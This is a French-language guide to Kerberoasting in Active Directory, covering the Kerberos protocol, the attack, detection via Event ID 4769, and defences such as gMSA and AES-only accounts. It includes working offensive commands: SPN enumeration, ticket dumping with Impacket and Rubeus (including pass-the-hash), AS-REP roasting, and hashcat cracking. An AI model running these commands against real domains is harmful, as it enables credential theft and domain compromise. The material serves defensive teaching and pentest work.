Kerberoasting : Guide Complet d'Exploitation, Détection et Défense Active Directory

Kerberoasting est l'une des techniques d'attaque Active Directory les plus répandues dans les rapports de cyberincidents en 2026. Elle exploite une caractéristique fondamentale du protocole Kerberos : tout utilisateur authentifié dans un domaine peut demander un ticket de service (TGS) pour n'importe quel Service Principal Name (SPN) enregistré, et ce ticket est chiffré avec le hash du mot de passe du compte de service associé. L'attaquant récupère le ticket chiffré, le craque offline avec Hashcat — sans générer d'événements suspects sur les contrôleurs de domaine, sans toucher le compte de service, sans déclencher les lockouts. Selon le rapport M-Trends 2025 de Mandiant, Kerberoasting est utilisé dans 38% des intrusions Active Directory documentées, souvent dans les premières heures suivant un accès initial. Le succès de l'attaque dépend entièrement de la complexité du mot de passe du compte de service : un mot de passe de moins de 14 caractères cracke généralement en quelques heures avec une liste rockyou.txt et des règles hashcat. Ce guide couvre le protocole Kerberos, la mécanique de l'attaque, les outils offensifs (Impacket, Rubeus), le crack des hashes, la détection via Event ID 4769 et les défenses durables — notamment les gMSA (Group Managed Service Accounts) qui rendent Kerberoasting pratiquement impossible.

Protocole Kerberos : KDC, Tickets TGT et TGS

Kerberos est le protocole d'authentification par défaut dans les environnements Active Directory depuis Windows 2000. Il repose sur un modèle de confiance tripartite entre le client, le Key Distribution Center (KDC) et les serveurs de ressources.

Composants du KDC :

• AS (Authentication Service) : valide l'identité de l'utilisateur et délivre le TGT
• TGS (Ticket Granting Service) : reçoit le TGT, délivre des tickets de service (TGS) pour accéder aux ressources

Flux d'authentification Kerberos :

1. AS-REQ : le client envoie une demande d'authentification au KDC (AS)
2. AS-REP : le KDC vérifie le hash du mot de passe et retourne un TGT (Ticket Granting Ticket) chiffré avec la clé du KDC
3. TGS-REQ : le client présente son TGT au KDC (TGS) et demande un ticket de service pour un SPN spécifique
4. TGS-REP : le KDC retourne un ticket de service (TGS) chiffré avec le hash RC4 ou AES du compte propriétaire du SPN
5. AP-REQ : le client présente le ticket de service au serveur de ressources
6. AP-REP : le serveur valide le ticket (il possède aussi le hash du compte de service) et autorise l'accès

Le point critique pour Kerberoasting est l'étape 4 : le TGS retourné par le KDC est chiffré avec le hash du compte de service. N'importe quel utilisateur authentifié peut demander ce ticket pour n'importe quel SPN — sans privilèges particuliers. Et le KDC ne vérifie pas si l'utilisateur a réellement le droit d'accéder au service : il délivre le ticket inconditionnellement. La validation des permissions n'a lieu qu'à l'étape 6, côté serveur de ressources.

Service Principal Names (SPN) : Cibles de l'Attaque

Un SPN (Service Principal Name) est un identifiant unique d'une instance de service dans un domaine Active Directory. Il lie un service (SQL Server, IIS, Exchange) à un compte de domaine qui l'exécute. Les SPN sont enregistrés dans l'attribut servicePrincipalName des objets AD.

Format d'un SPN : ServiceClass/HostName:Port/ServiceName

Exemples :

MSSQLSvc/SQLSERVER01.domain.local:1433
HTTP/intranet.domain.local:80
HOST/workstation01.domain.local

Lister les SPN dans le domaine :

# setspn (natif Windows)
setspn -L domain     # tous les SPN du domaine
setspn -Q */*        # recherche wildcard

# PowerView
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName

# ldapsearch (depuis Linux)
ldapsearch -H ldap://DC01.domain.local -D "user@domain.local" -w password 
  -b "dc=domain,dc=local" 
  "(&(objectClass=user)(servicePrincipalName=*))" 
  sAMAccountName servicePrincipalName

Les comptes de service avec SPN et mots de passe faibles sont les cibles idéales : souvent créés des années auparavant avec des politiques de mot de passe moins strictes, rarement mis à jour car personne ne sait quel service les utilise.

Mécanique de l'Attaque Kerberoasting

L'attaque Kerberoasting se déroule en trois phases :

Phase 1 — Reconnaissance des SPN : identifiez les comptes AD avec des SPN via LDAP. Concentrez-vous sur les comptes non-machine (les comptes machine changent leur mot de passe automatiquement tous les 30 jours — inutiles pour le cracking) et les comptes avec des mots de passe anciens (pwdLastSet).

Phase 2 — Demande de tickets TGS : pour chaque SPN identifié, demandez un ticket TGS via la fonction standard Kerberos. Le KDC répond en envoyant le ticket chiffré avec le hash du compte de service. Cette demande est légitime du point de vue du KDC — il n'y a pas de contrôle d'accès à cette étape.

Phase 3 — Crack offline : le ticket TGS contient une partie chiffrée avec le hash RC4-HMAC (type 0x17) ou AES-256-CTS-HMAC-SHA1 (type 0x12) du mot de passe du compte de service. Extrayez cette portion et tentez de la cracker avec Hashcat en mode bruteforce/dictionnaire. Si le mot de passe est faible, il sera trouvé. Pas de lockout possible car le crack s'effectue offline.

La différence clé avec d'autres attaques AD : aucune interaction avec le compte de service lui-même. Pas de tentative de login, pas de lockout, pas d'alerte classique. Le seul log généré est l'Event ID 4769 (Kerberos Service Ticket Request) sur le contrôleur de domaine — un event généré des milliers de fois par jour en conditions normales.

Outils Offensifs : Impacket et Rubeus

Impacket — GetUserSPNs.py (depuis Linux) :

# Lister les SPN et demander les tickets (dump des hashes)
python3 GetUserSPNs.py domain.local/user:password -dc-ip 192.168.1.10 
  -request -outputfile kerberoast_hashes.txt

# Sans output file (affichage direct)
python3 GetUserSPNs.py domain.local/user:password -dc-ip 192.168.1.10 -request

# Via un compte hash NTLM (pass-the-hash)
python3 GetUserSPNs.py domain.local/user -dc-ip 192.168.1.10 
  -hashes :NTHASH -request

Rubeus (depuis un poste Windows compromis) :

# Kerberoasting de tous les comptes avec SPN
Rubeus.exe kerberoast /outfile:hashes.txt

# Cibler un compte spécifique
Rubeus.exe kerberoast /user:svc_sql /outfile:hashes_sql.txt

# Format opsec (RC4 uniquement — plus facile à cracker que AES)
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

# Via un ticket ASKTGT (si vous avez les credentials d'un autre compte)
Rubeus.exe kerberoast /creduser:otheruser /credpassword:pass /outfile:hashes.txt

PowerView (PowerShell) :

# Requête SPN tickets via PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv hashes.csv

Format des Hashes et Crack avec Hashcat

Les tickets Kerberoasting RC4 ont le format $krb5tgs$23$*...* (mode Hashcat 13100). Les tickets AES-256 ont le format $krb5tgs$18$*...* (mode Hashcat 19700 — beaucoup plus lent à cracker).

# Crack mode RC4 (le plus courant)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt 
  -r /usr/share/hashcat/rules/best64.rule 
  --force

# Crack avec règles avancées
hashcat -m 13100 hashes.txt rockyou.txt 
  -r rules/d3ad0ne.rule 
  -r rules/toggles5.rule

# Brute force sur les courts mots de passe (< 8 chars)
hashcat -m 13100 hashes.txt -a 3 ?a?a?a?a?a?a?a?a --increment

# Crack AES-256 (mode 19700 — GPU requis)
hashcat -m 19700 hashes_aes.txt rockyou.txt

# Avec GPU (beaucoup plus rapide)
hashcat -m 13100 hashes.txt rockyou.txt -d 1  # GPU device 1

Taux de succès empiriques :

• Mot de passe < 8 chars : cracké en secondes à minutes (même AES)
• Mot de passe 8-12 chars, mots du dictionnaire : cracké en heures (RC4) ou jours (AES)
• Mot de passe 12-20 chars, alphanumérique + spéciaux : RC4 cracqué en jours, AES pratiquement impossible
• Mot de passe 25+ chars aléatoires : techniquement infaisable avec le matériel actuel

C'est pourquoi les gMSA (240 chars aléatoires) rendent Kerberoasting futile. Pour aller plus loin dans les attaques AD, consultez notre guide complet sur le Tiering Model Active Directory.

Différence avec AS-REP Roasting

AS-REP Roasting est une attaque similaire mais distincte. Kerberoasting cible les comptes avec SPN (comptes de service). AS-REP Roasting cible les comptes sans pré-authentification Kerberos (DONT_REQUIRE_PREAUTH flag).

Pour AS-REP Roasting, l'attaquant n'a même pas besoin d'un compte valide dans le domaine — il peut demander un AS-REP pour un utilisateur sans s'authentifier. Le ticket AS-REP contient une partie chiffrée avec le hash de l'utilisateur, crackable offline de la même façon.

# AS-REP Roasting avec Impacket (depuis Linux, sans compte domaine)
python3 GetNPUsers.py domain.local/ -usersfile users.txt 
  -no-pass -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt

# Mode Hashcat AS-REP = 18200
hashcat -m 18200 asrep_hashes.txt rockyou.txt

La bonne pratique est de n'activer DONT_REQUIRE_PREAUTH que si un système legacy l'exige absolument — ce flag est dangereux. Auditez-le régulièrement avec Get-DomainUser -UACFilter DONT_REQ_PREAUTH.

Détection : Event ID 4769 et Honeypot SPN

La détection de Kerberoasting est délicate car les demandes TGS sont légitimes. L'Event ID 4769 (Kerberos Service Ticket Operations) est généré sur les contrôleurs de domaine pour chaque demande TGS — des milliers par jour en environnement normal.

Signatures détectables :

• Chiffrement RC4 (0x17) : dans le champ Ticket Encryption Type de l'Event 4769. En 2026, les systèmes modernes utilisent AES-256 (0x12) — un flux de demandes RC4 est suspect sauf si vous avez des systèmes legacy qui l'imposent.
• Volume anormal : un seul compte qui demande 50+ tickets TGS en 60 secondes est anormal. En conditions normales, un utilisateur demande quelques tickets TGS par session.
• Demandes depuis des IPs atypiques : un serveur applicatif qui demande soudainement des dizaines de TGS est suspect.

Règle SIEM détection Kerberoasting :

# Exemple règle Wazuh/Sigma
Event ID: 4769
Ticket Encryption Type: 0x17 (RC4-HMAC)
Compte source: non machine account (ne se termine pas par $)
Seuil: > 5 demandes RC4 en 60 secondes depuis le même compte
Action: ALERT HIGH - Possible Kerberoasting

Honeypot SPN : créez un compte AD factice avec un SPN attractif (MSSQLSvc/FAKE-SQL:1433) et un mot de passe fort de 30+ caractères. Configurez une alerte sur toute demande TGS pour ce SPN — il n'y a aucune raison légitime pour qu'un vrai système demande ce ticket. Une alerte = activité suspecte quasi certaine.

Défenses : gMSA, AES Uniquement et Audit SPN

gMSA (Group Managed Service Accounts) — la défense la plus efficace : les gMSA sont des comptes de service gérés automatiquement par Active Directory. Le mot de passe (240 caractères aléatoires) est géré par le KDC et change automatiquement tous les 30 jours. Aucun humain ne connaît le mot de passe — impossible à cracker même si le hash est obtenu.

# Créer un gMSA
New-ADServiceAccount -Name "gMSA_SQLService" 
  -DNSHostName "SQLSERVER01.domain.local" 
  -PrincipalsAllowedToRetrieveManagedPassword "SQLSERVER01$"

# Installer le gMSA sur le serveur SQL
Install-ADServiceAccount -Identity "gMSA_SQLService"

# Configurer le service SQL pour utiliser le gMSA
# Compte de service: domaingMSA_SQLService$ (avec $)
# Mot de passe: laisser vide - Windows le gère

AES uniquement — désactiver RC4 : configurez les comptes de service pour utiliser uniquement AES pour les tickets Kerberos :

# PowerShell
Set-ADUser svc_sql -KerberosEncryptionType AES256

# Ou via l'attribut AD
# msDS-SupportedEncryptionTypes = 24 (AES128 + AES256, sans RC4)

# Vérifier la configuration
Get-ADUser svc_sql -Properties KerberosEncryptionType

Avec AES uniquement, les tickets Kerberoasted sont en mode 18 (AES) — beaucoup plus difficiles à cracker (facteur 10x à 100x selon le hardware).

Mots de passe comptes de service : pour les comptes legacy qui ne peuvent pas utiliser gMSA, appliquez une politique de mot de passe stricte : minimum 25 caractères, aléatoires, stockés dans un gestionnaire de mots de passe (CyberArk, HashiCorp Vault, LAPS pour les comptes machine). Changez-les régulièrement (tous les 90 jours minimum).

Audit SPN régulier : identifiez trimestriellement tous les comptes avec SPN et leur pwdLastSet (date de dernier changement de mot de passe). Un compte de service avec un mot de passe vieux de plus de 2 ans est une priorité absolue :

# PowerShell - SPN avec mot de passe ancien
Get-ADUser -Filter {ServicePrincipalName -like "*"} 
  -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
  Select SamAccountName, ServicePrincipalName, PasswordLastSet |
  Sort PasswordLastSet

La protection des comptes de service AD est directement liée au pentest de l'infrastructure et aux audits réguliers. Notre guide sur l'intégration SIEM Wazuh couvre la mise en place des alertes Event ID AD.

Corrélation avec d'Autres Techniques AD

Kerberoasting est rarement utilisé seul. Dans un scénario d'attaque réaliste, il s'inscrit dans une séquence :

1. Accès initial : phishing, exploitation VPN, password spraying sur OWA
2. Reconnaissance AD : BloodHound pour mapper les chemins d'attaque, identifier les SPN
3. Kerberoasting : cracker les mots de passe des comptes de service
4. Privilege escalation : si le compte de service cracké a des droits élevés (admin local, accès SQL DBA, délégation Kerberos)
5. Mouvement latéral : utiliser le compte de service compromis pour pivoter vers d'autres systèmes
6. Domain compromise : DCSync, Golden Ticket si Domain Admin atteint

La défense en profondeur contre cette séquence implique une approche de tiering AD, documentée dans notre guide sur le Tiering Model Active Directory.

Questions fréquentes sur Kerberoasting